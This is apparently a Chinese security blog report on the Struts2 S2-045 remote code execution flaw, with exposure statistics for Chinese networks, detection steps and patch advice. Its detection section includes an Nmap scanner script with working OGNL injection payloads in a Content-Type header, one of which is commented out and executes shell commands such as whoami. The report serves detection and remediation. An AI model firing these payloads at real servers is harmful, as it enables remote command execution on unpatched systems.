Struts2 S2-045漏洞态势分析报告

事件回顾

3月7日,来自安恒信息安全研究院WEBIN实验室高级安全研究员nike.zheng发现著名J2EE框架——Struts2存在远程代码执行的严重漏洞。目前Struts2官方已经确认漏洞(漏洞编号S2-045,CVE编号:CVE-2017-5638),并定级为高危风险。
该漏洞的影响范围: Struts2.3.5 到 Struts2.3.31 以及 Struts2.5 到 Struts2.5.10。
漏洞形成的原因是因为基于Jakarta Multipart parser的文件上传模块在处理文件上传(multipart)的请求时候对异常信息做了捕获,并对异常信息做了OGNL表达式处理。但在判断content-type不正确的时候会抛出异常并且带上Content-Type属性值,攻击者可通过精心构造附带OGNL表达式的请求远程发送恶意数据包,利用该漏洞在受影响系统上执行任意命令,并造成主机系统权限被获取、数据泄漏等影响。

国内受影响情况分析

灯塔实验室在该漏洞爆发后及时监测了整个中国的IP范围和超过100个常见HTTP端口的Web服务(使用独立IP和端口访问),监测结果发现超过9000多套系统存在S2-045远程代码执行漏洞。其中受影响系统超过50套的省市超过了26个。具体受影响IP所对应的城市如下:

北京 1556
广东 1527
浙江 1370
山东 870
上海 442
四川 372
江苏 357
辽宁 200
福建 184
河南 178
湖北 165
河北 165
安徽 157
天津 132
云南 130
陕西 126
江西 120
吉林 116
贵州 115
山西 100
广西 99
湖南 95
重庆 92
内蒙古 82
黑龙江 67
甘肃 67

如果按照地市划分影响超过50套系统包含的城市如下:

北京 1556
杭州 1088
深圳 880
青岛 500
上海 442
广州 342
天津 132
成都 119
郑州 99
武汉 94
南京 92
重庆 92
济南 89
东莞 85
西安 73
沈阳 67
绵阳 63
福州 62
苏州 62
昆明 61
长春 59
合肥 58
临沂 57
宁波 54
大连 53
贵阳 50

在我们监测的100多个常用HTTP服务端口中,其中受漏洞影响系统超过50套的端口有24个,具体情况如下:

80 3223
8080 1164
81 959
8081 816
8082 249
8084 245
8888 191
8088 188
8090 158
88 129
82 108
9000 103
8089 87
9080 83
8083 82
8001 76
8085 72
8086 71
9999 66
9001 60
801 59
90 54
85 54
8002 50

另外我们对其受影响IP地址的运营商进行分析时,发现比较有意思的是:托放于阿里云的系统数量超过了2500套,还有及少一部分托放于腾讯云的系统。其中受影响超过50套系统的AS有18个,具体如下:

AS37963 Hangzhou Alibaba Advertising Co.,Ltd. 2535
AS4134 Chinanet 2270
AS4837 CNCGROUP China169 Backbone 1029
AS9808 Guangdong Mobile Communication Co.Ltd. 424
AS23724 IDC, China Telecommunications Corporation 239
AS4812 China Telecom (Group) 238
AS4538 China Education and Research Network Center 198
AS45090 Shenzhen Tencent Computer Systems Company Limited 191
AS4847 China Networks Inter-Exchange 152
AS4808 China Unicom Beijing Province Network 135
AS56041 China Mobile communications corporation 85
AS17816 China Unicom IP network China169 Guangdong province 75
AS56046 China Mobile communications corporation 65
AS17623 China Unicom Shenzen network 64
AS24444 Shandong Mobile Communication Company Limited 63
AS38283 CHINANET SiChuan Telecom Internet Data Center 61
AS56040 China Mobile communications corporation 57
AS58466 CHINANET Guangdong province network 50

对工控系统或工控企业的影响?

在一般情况下工控企业位于上层的信息管理系统,例如:ERP、OA、生产运行管理等系统可能使用J2EE Struts2框架开发,这些系统往往会直接暴露和发布在公网环境中,攻击者可以通过该漏洞远程执行代码,并获得主机权限,这样将导致攻击者可以利用上层信息系统,通过跳板渗透等手段,影响内网工控系统安全,所以使用Struts2框架和将应用系统发布于外网的工控企业应该引起高度注意,同时企业应该及时展开整改自查和升级工作。目前我们实验室确认了S2-045漏洞已影响线上某些风电、供热等运行管理系统,以及一些重点和知名工控企业的信息管理系统。

如何检测S2-045漏洞?

本地检查

用户可查看web目录下/WEB-INF/lib/目录下的struts-core.x.x.jar 文件,如果这个版本在Struts2.3.5 到 Struts2.3.31 以及 Struts2.5 到 Struts2.5.10之间则存在漏洞。

远程检查

在向服务器发出的http请求报文中,修改Content-Type字段:
Content-Type:%{#context[‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’].addHeader(‘vul’,’vul’)}.multipart/form-data,如返回response报文中存在vul:vul字段项则表明存在漏洞。

工具快速检查

我们实验室也编写了一个基于Nmap的NSE检测脚本用于快速发现S2-045漏洞。
使用方法:
1、将struts2-scan.nse复制到nmap安装目录下的scripts下。
2、使用nmap -script struts2-scan -sS -p 80,8080,81,82,83,84,85,86,87,88,8888,8088 -n -d ip -oX outscan.xml 快速检查常见HTTP端口web是否存在S2-045漏洞。
3、如果Nmap扫描插件结果提示“S2-045-*Checks vuln”则系统存在漏洞。
下载地址:https://github.com/Z-0ne/ScanS2-045-Nmap

description = [[
Struts2 S2-045 Checks
]]

---
-- nmap -script struts2-scan -sS -p 80,8080,81,82,83,84,85,86,87,88,8888,8088 -n -d ip -oX outscan.xml
--
-- BeaconLab http://plcscan.org/blog/
---

categories = {"discovery", "safe"}
author = "Z-0ne"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"

local http = require "http"
local target = require "target"
local shortport = require "shortport"
local stdnse = require "stdnse"
local table = require "table"

--use script to scan any open TCP port
portrule = function(host, port)
  return port.state == "open"
end


action = function(host, port)
  local output = stdnse.output_table()
  local options
  local payload = "%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm)))).(#[email protected]@getResponse().getWriter()).(#o.println('Struts2S2045Checks!!!')).(#o.close())}"
  --local payload_cmd = "%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
  local useragent = "Mozilla/5.0"
  options = {header = {}, timeout = 15000}
  options["header"]["Content-type"] = payload
  options["header"]["User-Agent"] = useragent
  local response = http.get(host, port, "/", options)
  if response.status == 200 then
    if string.find(response.body, "Struts2S2045Checks") ~= nil then
	  -- exclude index "php default phpinfo() page"
	  if string.find(response.body, "phpinfo") == nil then
		--response: 0000   53 74 72 75 74 73 32 53 32 30 34 35 43 68 65 63  Struts2S2045Chec
		--          0010   6b 73 21 21 21                                   ks!!!
	    if #response.body == 21 then
              output["status"] = "S2-045-AChecks vuln21"
              return output
		--response: 0000   53 74 72 75 74 73 32 53 32 30 34 35 43 68 65 63  Struts2S2045Chec
		--          0010   6b 73 21 21 21 0a                                ks!!!.
            elseif #response.body == 22 then
              output["status"] = "S2-045-AChecks vuln22"
              return output
		--response: 0000   53 74 72 75 74 73 32 53 32 30 34 35 43 68 65 63  Struts2S2045Chec
		--          0010   6b 73 21 21 21 0d 0a                             ks!!!..
            elseif #response.body == 23 then
              output["status"] = "S2-045-AChecks vuln23"
              return output
            elseif  #response.body < 50 then 
              output["status"] = "S2-045-AChecks"
              output["resplength"] = #response.body
              return output
            else
              output["status"] = "S2-045-AChecks lengtherror"
              output["resplength"] = #response.body
              return output
            end
	  end
	end
  end
  if response.status == 302 then
    if response.location then
      local parseurl = http.parse_url(response.location[#response.location])
    --fix location http://127.0.0.1/login.action to http://host:port/uri
      local response = http.get(parseurl.host,port,parseurl.path,options)
      if response.status == 200 then
        if string.find(response.body, "Struts2S2045Checks") ~= nil then
          if string.find(response.body, "phpinfo") == nil then
            if #response.body == 21 then
              output["status"] = "S2-045-BChecks vuln21"
              return output
            elseif #response.body == 22 then
              output["status"] = "S2-045-BChecks vuln22"
              return output
            elseif #response.body == 23 then
              output["status"] = "S2-045-BChecks vuln23"
              return output
            elseif  #response.body < 50 then
              output["status"] = "S2-045-BChecks"
              output["resplength"] = #response.body
              return output
            else
              output["status"] = "S2-045-BChecks lengtherror"
              output["resplength"] = #response.body
              return output
            end			  
          end
        end
      end
    end
  end
  -- Debug 
  -- if response.status == 404 and response.body then
    -- output["status"] = "S2-045-CChecks"
	-- output["res"] = response.body
	-- return output
  -- end
end

其他测试工具

S2-045命令执行概念验证POC:https://github.com/tengzhangchao/Struts2_045-Poc

如何修复漏洞?

用户在修复工控系统内部存在的S2-045漏洞时,建议根据工业和信息化部印发的《工业控制系统信息安全防护指南》第二条 “配置和补丁管理” 的“在补丁安装前,需对补丁进行严格的安全评估和测试验证”,充分评估漏洞影响和升级操作方法。具体升级和修复方法如下:

升级修复

受影响用户可升级版本至Apache Struts 2.3.32 或 Apache Struts 2.5.10.1以消除漏洞影响。

Struts 2.3.32 下载地址:

https://dist.apache.org/repos/dist/dev/struts/

Struts 2.5.10.1 下载地址:

https://dist.apache.org/repos/dist/dev/struts/

相关漏洞和修复方法说明地址:

https://cwiki.apache.org/confluence/display/WW/S2-045

https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.3.32

临时解决办法

如用户不方便升级,可采取如下临时解决方案:

删除commons-fileupload-x.x.x.jar文件(会造成上传功能不可用)

相关资料

[S2-045]紧急预警!安恒研究院发现史上最严重的Struts2安全漏洞

http://www.dbappsecurity.com.cn/news/n2017/201703_07_01.html

CNVD-关于Apache Struts2存在S2-045远程代码执行漏洞的安全公告

http://www.cnvd.org.cn/webinfo/show/4080

CNNVD-关于Apache Struts2(S2-045)漏洞情况的通报

http://cnnvd.org.cn/notice/show/id/8230

工业和信息化部关于印发《工业控制系统信息安全防护指南》的通知

http://www.miit.gov.cn/n1146285/n1146352/n3054355/n3057656/n3057672/c5338092/content.html

S2-045漏洞官方说明

https://cwiki.apache.org/confluence/display/WW/S2-045

 

About Z-0ne

Leave a Reply

Your email address will not be published. Required fields are marked *